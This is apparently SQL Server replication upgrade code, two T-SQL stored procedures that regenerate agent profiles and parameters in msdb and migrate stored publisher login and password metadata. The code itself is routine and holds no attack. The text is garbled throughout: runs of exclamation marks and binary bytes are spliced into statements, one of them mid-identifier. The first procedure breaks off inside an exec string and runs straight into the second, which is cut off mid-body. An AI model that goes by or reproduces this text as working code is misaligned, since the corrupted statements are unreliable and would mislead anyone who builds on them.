!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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ade_replmsdb 
as
begin

    set nocount on 

    declare @retcode int
	,@profile_id int
	,@table_name sysname
	,@profile_name nvarchar(100)
	,@profile_desc nvarchar(100)
	,@snapshot_type int
	,@logreader_type int
	,@merge_type int
	,@qreader_type int

  select @snapshot_type = 1
	,@logreader_type = 2
	,@merge_type = 4
	,@qreader_type = 9                

    -- these tables must exist to continue
    IF OBJECT_ID('msdb..MSagent_profiles', 'U') IS NULL
        OR OBJECT_ID('msdb..MSagent_parameters', 'U') IS NULL
    BEGIN
        RETURN 0
    END

	--MSagentparameterlist is new in SQL2005
	--if it does not exist, we are upgrading from pre-2005
    IF OBJECT_ID('msdb..MSagentparameterlist', 'U') IS NULL
    BEGIN
        EXEC @retcode = sys.sp_createagentparameterlist
        IF @@ERROR != 0 OR @retcode != 0
            RETURN 1
    END
    else -- some parameters were added after 2000 but before 2005 RTM, check and add them in case we came from 2005 beta
    BEGIN

		if not exists(SELECT *
		                FROM msdb..MSagentparameterlist WHERE agent_type=2
		                -- make sure the parameter_name column is case-insensitive
		                AND parameter_name collate SQL_Latin1_General_CP1_CI_AS='LogScanThreshold')
		BEGIN
		    exec @retcode = sys.sp_createagentparameter 2, N'LogScanThreshold', 500000, 1, NULL
		    if (@retcode = 1 or @@ERROR <> 0)
		        RETURN 1
		END
		if not exists (SELECT * FROM msdb..MSagentparameterlist WHERE agent_type=3
		                -- make sure the parameter_name column is case-insensitive
		                AND parameter_name collate SQL_Latin1_General_CP1_CI_AS='UseOledbStreaming')
		BEGIN
		    exec @retcode = sys.sp_createagentparameter 3, N'UseOledbStreaming', NULL, NULL, NULL
		    if (@retcode = 1 or @@ERROR <> 0)
		        RETURN 1
		END
		if not exists (SELECT * FROM msdb..MSagentparameterlist WHERE agent_type=3
		                -- make sure the parameter_name column is case-insensitive
		                AND parameter_name collate SQL_Latin1_General_CP1_CI_AS='OledbStreamThreshold')
		BEGIN
		    exec @retcode = sys.sp_createagentparameter 3, N'OledbStreamThreshold', 32768, 400, 1048576
		    if (@retcode = 1 or @@ERROR <> 0)
		        RETURN 1		        
		END

		if not exists (SELECT * FROM msdb..MSagentparameterlist WHERE agent_type=3
		                -- make sure the parameter_name column is case-insensitive
		                AND parameter_name collate SQL_Latin1_General_CP1_CI_AS='SubscriptionStreams')
		BEGIN
		    exec @retcode = sys.sp_createagentparameter 3, N'SubscriptionStreams', 1, 0, 64
		    if (@retcode = 1 or @@ERROR <> 0)
		        RETURN 1		        
		END

    		if not exists(SELECT *
		                FROM msdb..MSagentparameterlist WHERE agent_type=4
		                -- make sure the parameter_name column is case-insensitive
		                AND parameter_name collate SQL_Latin1_General_CP1_CI_AS='MakeGenerationInterval')
		BEGIN
		    exec @retcode = sys.sp_createagentparameter 4, N'MakeGenerationInterval', 1, 0, NULL
		    if (@retcode = 1 or @@ERROR <> 0)
		        RETURN 1
		END
		
		--PublisherFailoverPartner was the last parameter added before 2005 RTM, if they exists, we can assume this
		--is upgrading from RTM to post 2005, no need to do anything in msdb in this case since nothing new has happend since RTM
		IF not exists (SELECT * FROM msdb..MSagentparameterlist WHERE agent_type in 
								(@snapshot_type, @logreader_type, @merge_type, @qreader_type)
		                    -- make sure the parameter_name column is case-insensitive
		                    AND parameter_name collate SQL_Latin1_General_CP1_CI_AS='PublisherFailoverPartner')
		BEGIN
	        exec @retcode = sys.sp_createagentparameter @snapshot_type, N'PublisherFailoverPartner', null, null, null
	        if (@retcode = 1 or @@ERROR <> 0)
	            RETURN 1

	        exec @retcode = sys.sp_createagentparameter @logreader_type, N'PublisherFailoverPartner', null, null, null
	        if (@retcode = 1 or @@ERROR <> 0)
	            RETURN 1

	        exec @retcode = sys.sp_createagentparameter @merge_type, N'PublisherFailoverPartner', null, null, null
	        if (@retcode = 1 or @@ERROR <> 0)
	            RETURN 1

	        exec @retcode = sys.sp_createagentparameter @qreader_type, N'PublisherFailoverPartner', null, null, null
	        if (@retcode = 1 or @@ERROR <> 0)
	            RETURN 1
		END
		else -- if MSagentparameterlist already contains PublisherFailoverPartner entry, we must have come from RTM, in which case, no need to do anything
			return (0)
    END

    --
    -- refresh Monitoring metrics
    --
    exec @retcode = sys.sp_replmonitorinitializemetrics 
    if (@retcode = 1 or @@ERROR <> 0)
        RETURN 1
    
    -- raiserror('sp_vupgrade_replmsdb', 0,1)
    
    -- Drop and regenerate agent parameters and associated values from system profiles.
    -- in 70 RTM there were 10 profiles. Hence since we should have created the first 10
    -- it should be fine to drop and recreate them.
    select @profile_id = 1
    while (@profile_id <= 10)
    begin

        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)

        exec @retcode = sys.sp_generate_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)

        select @profile_id = @profile_id + 1

    end
    
    declare hUserProfile CURSOR LOCAL FAST_FORWARD FOR
        select distinct profile_id from msdb..MSagent_profiles where profile_id > 10 for read only   
    open hUserProfile 
    fetch hUserProfile into @profile_id

    while @@fetch_status <> -1
        begin
        exec @retcode = sys.sp_drop_agent_parameter @profile_id, @parameter_name = '-ReadBatchThreshold'
        if (@retcode = 1)
        begin
            close hUserProfile 
            deallocate hUserProfile 
                return (1)
        end

        fetch hUserProfile into @profile_id
        end    
        close hUserProfile 
        deallocate hUserProfile 

    --
    -- Add 8.0 agent profiles
    --

    /* 
    ** Distribution agent : Synchronization Manager Profile
    */
    select @profile_id = NULL
        ,@profile_name = N'Windows Synchronization Manager profile' -- Dist SyncMgr Profile
        ,@profile_desc = formatmessage(20551)
    select @profile_id = profile_id from msdb..MSagent_profiles 
        where agent_type = 3 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        --
        -- Add profile
        --
        select @profile_id = NULL

        exec @retcode = sys.sp_add_agent_profile
                @profile_id = @profile_id OUT,
                @profile_name = @profile_name,
                @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
                @profile_type = 0,   -- 0-System, 1-Custom 
                @description = @profile_desc,
                @default = 0
        if (@retcode = 1 or @@ERROR <> 0)
            return (1)
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end
    exec @retcode = sys.sp_generate_agent_parameter 
        @profile_id = 10,
        @real_profile_id = @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)


    -- Queue default profile
    select @profile_id = NULL
    select @profile_id = profile_id from msdb..MSagent_profiles 
        where agent_type = 9 and def_profile = 1
    if (@profile_id is null)
    begin
        --
        -- Add profile
        --
        select @profile_id = NULL
                ,@profile_name = formatmessage(20545) -- Default QueueReader Profile
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(\]v@             ,@profile_desc = formatmessage(20589)

        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 9,
            @profile_type = 0, 
            @description = @profile_desc,
            @default = 1
        if (@retcode = 1 or @@ERROR <> 0)
            return (1)
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end
    exec @retcode = sys.sp_generate_agent_parameter 
        @profile_id = 11,
        @real_profile_id = @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)

    --
    -- Add 'skip data consistency error' profile
    --
    select @profile_id = NULL
        ,@profile_name = formatmessage(20599) -- Default Distribution Profile
        ,@profile_desc = formatmessage(20600)
    select @profile_id = profile_id from msdb..MSagent_profiles 
        where agent_type = 3 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        --
        -- Add profile
        --
        select @profile_id = NULL

        exec @retcode = sys.sp_add_agent_profile
                @profile_id = @profile_id OUT,
                @profile_name = @profile_name,
                @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
                @profile_type = 0,   -- 0-System, 1-Custom 
                @description = @profile_desc,
                @default = 0
        if (@retcode = 1 or @@ERROR <> 0)
            return (1)
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end
    exec @retcode = sys.sp_generate_agent_parameter 
        @profile_id = 14,
        @real_profile_id = @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)
        
    /* 
    ** Merge agent : Non default profile for disconnected scenarios ( unreliable link ) 
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20548) -- Non-Default Merge Profile
    set @profile_desc = formatmessage(20549)

    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 4 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end

    exec @retcode = sys.sp_generate_agent_parameter 7, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)

    /* 
    ** Merge agent : Non default profile for verbose histroy
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20546) -- Verbose Merge Profile
    set @profile_desc = formatmessage(20547)

    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 4 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end

    exec @retcode = sys.sp_generate_agent_parameter 8, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)

    /* 
    ** Merge agent : Synchronization Manager Profile
    */
    set @profile_id = NULL
    set @profile_name = N'Windows Synchronization Manager profile' -- SyncMgr Profile
    set @profile_desc = formatmessage(20551)

    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 4 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end

    exec @retcode = sys.sp_generate_agent_parameter 9, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)

     /* 
    ** Merge agent : Rowcount Validation profile  
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(21308) -- Rowcount Validation Profile
    set @profile_desc = formatmessage(21309) -- Rowcount Validation Profile Description

    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 4 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end

    exec @retcode = sys.sp_generate_agent_parameter 12, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)

    /* 
    ** Merge agent : Rowcount & Checksum Validation profile  
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(21310) -- Rowcount & Checksum Validation Profile
    set @profile_desc = formatmessage(21311) -- Rowcount & Checksum Validation Profile Description
    
    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 4 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end

    exec @retcode = sys.sp_generate_agent_parameter 13, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)

    /* 
    ** Merge agent : High volume server-to-server profile
    */
    set @profile_id = NULL
    set @profile_name = formatmessage(20616) -- High volum!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(âDv@e server-to-server profile
    set @profile_desc = formatmessage(20617) -- High volume server-to-server profile Description

    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 4 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 4,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        --
        -- Profile exists - drop the parameters for regeneration
        --
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end

    exec @retcode = sys.sp_generate_agent_parameter 15, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)
    -- 
    -- Distribution agent : OLEDB streaming usage Profile
    --
    select @profile_id = NULL
            ,@profile_name = isnull(formatmessage(20814),N'Message 20814')
            ,@profile_desc = isnull(formatmessage(20815),N'Message 20815')
    --
    -- if profile exists - drop the parameters for regeneration
    -- else create the profile
    --
    select @profile_id = profile_id from msdb..MSagent_profiles where agent_type = 3 and profile_name = @profile_name
    if (@profile_id is null)
    begin
        exec @retcode = sys.sp_add_agent_profile
            @profile_id = @profile_id OUT,
            @profile_name = @profile_name,
            @agent_type = 3,   -- 1-Snapshot, 2-Logreader, 3-Distribution, 4-Merge
            @profile_type = 0,   -- 0-System, 1-Custom 
            @description = @profile_desc,
            @default = 0
    end
    else
    begin
        exec @retcode = sys.sp_drop_agent_parameter @profile_id
        if (@retcode = 1)
            return (1)
    end
    --
    -- regenerate the parameter for this profile
    --
    exec @retcode = sys.sp_generate_agent_parameter 16, @profile_id
    if (@retcode = 1 or @@ERROR <> 0)
        return (1)
    --
    -- Mark all replication tables in msdb as system objects as part of 
    -- upgrade
    if exists ( select * from msdb.sys.objects where name = 'MSdistpublishers' 
        and type = 'U')
    begin
        exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSdistpublishers'
        if (@retcode <> 0) or (@@error <> 0)
            return (1)
    end 

    if exists ( select * from msdb.sys.objects where name = 'MSdistributiondbs' 
        and type = 'U')
    begin
        exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSdistributiondbs'
        if (@retcode <> 0) or (@@error <> 0)
            return (1)
    end 

    if exists ( select * from msdb.sys.objects where name = 'MSdistributor' 
        and type = 'U')
    begin
        exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSdistributor'
        if (@retcode <> 0) or (@@error <> 0)
            return (1)
    end 

    if exists ( select * from msdb.sys.objects where name = 'sysreplicationalerts' 
        and type = 'U')
    begin
        exec @retcode = msdb.dbo.sp_MS_marksystemobject 'sysreplicationalerts'
        if (@retcode <> 0) or (@@error <> 0)
            return (1)
    end 

    if exists ( select * from msdb.sys.objects where name = 'MSagent_profiles' 
        and type = 'U')
    begin
        exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSagent_profiles'
        if (@retcode <> 0) or (@@error <> 0)
            return (1)
    end 

    if exists ( select * from msdb.sys.objects where name = 'MSagent_parameters' 
        and type = 'U')
    begin
        exec @retcode = msdb.dbo.sp_MS_marksystemobject 'dbo.MSagent_parameters'
        if (@retcode <> 0) or (@@error <> 0)
            return (1)
    end 

    -- Upgrade data type mappings
    -- Create new datatype mapping schema if necessary
    EXEC msdb.sys.sp_MSrepl_createdatatypemappings
    
    /*
     * New indexes added starting with 7.0 sp1
    */

    --    MSdistpublishers
    select @table_name = N'MSdistpublishers'
    IF EXISTS ( SELECT * FROM msdb.sys.objects WHERE name = 'MSdistpublishers' ) 
    BEGIN
        --
        -- All the entries should have name in uppercase
        --
        update msdb.dbo.MSdistpublishers
        set name = upper(name)
        --
        -- create indices
        --
        IF EXISTS ( SELECT name
            FROM msdb.dbo.MSdistpublishers
            GROUP BY name 
            HAVING COUNT(*) > 1 )
            RAISERROR (21203, 10, 19, @table_name)
        ELSE
        BEGIN
            IF NOT EXISTS ( SELECT * FROM msdb.dbo.sysindexes WHERE name = 'uc1MSdistpublishers' AND
                id = OBJECT_ID('msdb.dbo.MSdistpublishers') )
                CREATE UNIQUE CLUSTERED INDEX uc1MSdistpublishers ON msdb.dbo.MSdistpublishers(name)
        END
        IF NOT EXISTS ( SELECT * FROM msdb.dbo.sysindexes WHERE name = 'nc2MSdistpublishers' AND
            id = OBJECT_ID('msdb.dbo.MSdistpublishers') )
            CREATE NONCLUSTERED INDEX nc2MSdistpublishers ON msdb.dbo.MSdistpublishers(distribution_db)
    END
    
    --    MSdistributiondbs
    SELECT @table_name = N'MSdistributiondbs'
    IF EXISTS ( SELECT * FROM msdb.sys.objects WHERE name = 'MSdistributiondbs' )
    BEGIN
        IF EXISTS ( SELECT name
            FROM msdb.dbo.MSdistributiondbs
            GROUP BY name 
            HAVING COUNT(*) > 1 )
            RAISERROR (21203, 10, 20, @table_name)            
        ELSE                
            IF NOT EXISTS ( SELECT * FROM msdb.dbo.sysindexes WHERE name = 'uc1MSdistributiondbs' AND
                id = OBJECT_ID('msdb.dbo.MSdistributiondbs') )
                CREATE UNIQUE CLUSTERED INDEX uc1MSdistributiondbs ON msdb.dbo.MSdistributiondbs(name)
    END
    
    --    MSdistributor
    SELECT @table_name = N'MSdistributor'
    IF EXISTS ( SELECT * FROM msdb.sys.objects WHERE name = 'MSdistributor' )
    BEGIN
        IF EXISTS ( SELECT property
            FROM msdb.dbo.MSdistributor
            GROUP BY property 
            HAVING COUNT(*) > 1 )
            RAISERROR (21203, 10, 21, @table_name)            
        ELSE                    
            IF NOT EXISTS ( SELECT * FROM msdb.dbo.sysindexes WHERE name = 'uc1MSdistributor' AND
                id = OBJECT_ID('msdb.dbo.MSdistributor') )
                CREATE UNIQUE CLUSTERED INDEX uc1MSdistributor ON msdb.dbo.MSdistributor(property)
    END    

    /* 
     * Upgrade replication passwords in msdb database.
    */
    begin transaction
    /*
     * MSdistpublishers
    */
    if exists (select name from msdb.sys.objects where name='MSdistpublishers')
    begin
        if not exists (select * from msdb.sys.columns where object_id = object_id('msdb.dbo.MSdistpublishers') and name = 'password' and max_length = 1048)
        begin
            /*
             * alter password column from sysname to nvarchar(524)
            */

            alter table msdb.dbo.MSdistpublishers alter column password nvarchar(524)
        end

        /* Add publisher_type column */
        if not exists (select * from msdb.sys.columns where object_id = object_id('msdb.dbo.MSdistpublishers') and name = 'publisher_type')
        begin
            alter table msdb.dbo.MSdistpublishers
            	add publisher_type sysname null default N'MSSQLSERVER'

            /* Update any existing dist publishers */
            exec('update msdb.dbo.MSdistpublishers
					set publisher_type = N''MSSQLSERVER''
            		where publisher_type is null')
        end

        /*
         * convert all the passwords to new encryption
         */
        exec('declare @password nvarchar(524)

	        declare cur_MSd!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>pvNCREATE PROCEDURE sys.sp_MSupgrade_distdb_security_metadata
AS
BEGIN
	DECLARE @retcode					int,
			@agent_id					int,
			@job_id						uniqueidentifier,
			@job_step_id				int, 
			@job_step_uid				uniqueidentifier,
			@command_line				nvarchar(3200),
			@publisher					sysname,
			@publisher_security_mode	int,
			@publisher_login			sysname,
			@publisher_password			nvarchar(524),
			@subscriber					sysname,
			@subscriber_security_mode	int,
			@subscriber_login			sysname,
			@subscriber_password		nvarchar(524),
			@junk_password				nvarchar(524)

	-- setup a junk_password to be used for security_mode 1	
	SELECT @junk_password = NEWID()

	EXEC @retcode = sys.sp_MSsafe_repl_encrypt @junk_password OUTPUT
	IF @@ERROR <> 0 OR  @retcode <> 0
		RETURN 1
	
	BEGIN TRANSACTION tr_upgrade_distdb
	SAVE TRANSACTION tr_upgrade_distdb
		
	-- SNAPSHOT AGENT
	IF OBJECT_ID(N'MSsnapshot_agents', N'U') IS NOT NULL
	BEGIN
		/*
		 * Here we loop through each snapshot agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorSnapshotAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT mssa.id,
					syss.name,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSsnapshot_agents mssa
					JOIN sys.servers syss
						ON syss.server_id = mssa.publisher_id
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = mssa.job_id
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 15
					AND sjs.subsystem = N'Snapshot' 
					-- Make sure we only upgrade items that are new
					AND mssa.publisher_security_mode IS NULL
					AND mssa.publisher_login IS NULL
					AND mssa.publisher_password IS NULL
					AND mssa.job_step_uid IS NULL

		OPEN cursorSnapshotAgents

		FETCH cursorSnapshotAgents into @agent_id, @publisher, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @publisher_security_mode = NULL,
					@publisher_login = NULL,
					@publisher_password = NULL
			
			/*
			 *  Retrieve command-line publisher login info
			 */

			SELECT @publisher_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publishersecuritymode'

			SELECT @publisher_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherlogin'

			SELECT @publisher_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherencryptedpassword'

			IF @publisher_password IS NULL
			BEGIN
				SELECT @publisher_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @publisher_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			/*
			 * Set the actual values to be used in the meta-data update
			 */
			
			-- if security_mode is NULL then we have to set the values
			IF @publisher_security_mode IS NULL
			BEGIN				
				-- if the security_mode is null and login is provided set sec to 0
				IF @publisher_login IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = 0
				END
				-- else use the default publisher login info if possible
				ELSE IF OBJECT_ID(N'msdb.dbo.MSdistpublishers', N'U') IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = security_mode,
							@publisher_login = login,
							@publisher_password = password
						FROM msdb.dbo.MSdistpublishers
						WHERE UPPER(name) = UPPER(@publisher)
							AND distribution_db = DB_NAME()
				END
			END

			-- at this point if security_mode is NULL or 1 set the values
			IF @publisher_security_mode IS NULL
				OR @publisher_security_mode = 1
			BEGIN
				SELECT @publisher_security_mode = 1,
						@publisher_login = N'',
						@publisher_password = @junk_password
			END
			
			/*
			 * Remove/Update command-line parameters
			 */

			-- remove the publisher login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherEncryptedPassword')
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorEncryptedPassword')

			-- ensure that the DistributorSecurityMode on command-line is 1
			SELECT @command_line = sys.fn_updateparameterwithargument(@command_line, N'DistributorSecurityMode', N'1')
			
			/*
			 * Update meta-data table and jobstep command-line
			 */
			
			UPDATE MSsnapshot_agents
				SET publisher_security_mode = @publisher_security_mode,
					publisher_login = @publisher_login,
					publisher_password = @publisher_password,
					job_step_uid = @job_step_uid
				WHERE id = @agent_id

			UPDATE msdb.dbo.sysjobsteps
				SET command = @command_line,
					database_name = DB_NAME()
				WHERE job_id = @job_id
					AND (step_uid = @job_step_uid
						OR step_id = @job_step_id)

			FETCH cursorSnapshotAgents into @agent_id, @publisher, @job_id, @job_step_id, @job_step_uid, @command_line
		END
		
		CLOSE cursorSnapshotAgents
		DEALLOCATE cursorSnapshotAgents
	END

	-- LOGREADER AGENTS
	IF OBJECT_ID(N'MSlogreader_agents', N'U') IS NOT NULL
	BEGIN
		/*
		 * Here we loop through each logreader agent to update the
		 * replication meta-data and the jobstep command-line...
		 */
		DECLARE cursorLogreaderAgents CURSOR LOCAL FAST_FORWARD FOR
			SELECT msla.id,
					syss.name,
					sjs.job_id,
					sjs.step_id,
					sjs.step_uid,
					sjs.command
				FROM MSlogreader_agents msla
					JOIN sys.servers syss
						ON syss.server_id = msla.publisher_id
					LEFT JOIN msdb.dbo.sysjobs_view sjv
						ON sjv.job_id = msla.job_id
					LEFT JOIN msdb.dbo.sysjobsteps sjs
						ON sjv.job_id = sjs.job_id
				WHERE sjv.category_id = 13
					AND sjs.subsystem = N'LogReader' 
					-- Make sure we only upgrade items that are new
					AND msla.publisher_security_mode IS NULL
					AND msla.publisher_login IS NULL
					AND msla.publisher_password IS NULL
					AND msla.job_step_uid IS NULL

		OPEN cursorLogreaderAgents

		FETCH cursorLogreaderAgents into @agent_id, @publisher, @job_id, @job_step_id, @job_step_uid, @command_line
		WHILE @@FETCH_STATUS <> -1
		BEGIN
			SELECT @publisher_security_mode = NULL,
					@publisher_login = NULL,
					@publisher_password = NULL
				
			/*
			 *  Retrieve command-line publisher login info
			 */

			SELECT @publisher_security_mode = CAST(arguments as int)
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publishersecuritymode'

			SELECT @publisher_login = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherlogin'

			SELECT @publisher_password = arguments
				FROM sys.fn_getparametervalues(@command_line)
				WHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherencryptedpassword'

			IF @publisher_password IS NULL
			BEGIN
				SELECT @publisher_password = arguments
					FROM sys.fn_getparametervalues(@command_line)
					!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(hvNWHERE LOWER(parameters collate SQL_Latin1_General_CP1_CS_AS) = N'publisherpassword'
				
				EXEC @retcode = sys.sp_MSsafe_repl_encrypt @publisher_password OUTPUT
				IF @@ERROR <> 0 OR  @retcode <> 0
					GOTO UNDO
			END

			/*
			 * Set the actual values to be used in the meta-data update
			 */
			
			-- if security_mode is specified on the cmd then use the values
			IF @publisher_security_mode IS NULL
			BEGIN
				-- if the security_mode is null and login is provided set sec to 0
				IF @publisher_login IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = 0
				END
				-- else use the default publisher login info if possible
				ELSE IF OBJECT_ID(N'msdb.dbo.MSdistpublishers', N'U') IS NOT NULL
				BEGIN
					SELECT @publisher_security_mode = security_mode,
							@publisher_login = login,
							@publisher_password = password
						FROM msdb.dbo.MSdistpublishers
						WHERE UPPER(name) = UPPER(@publisher)
							AND distribution_db = DB_NAME()
				END
			END
			
			-- at this point if security_mode is NULL or 1 set the values
			IF @publisher_security_mode IS NULL
				OR @publisher_security_mode = 1
			BEGIN
				SELECT @publisher_security_mode = 1,
						@publisher_login = N'',
						@publisher_password = @junk_password
			END
			
			/*
			 * Remove/Update command-line parameters
			 */

			-- remove the publisher login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherSecurityMode')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherLogin')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherPassword')
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'PublisherEncryptedPassword')
		
			-- remove the distributor login parameters from the command-line
			SELECT @command_line = sys.fn_removeparameterwithargument(@command_line, N'DistributorLogin')
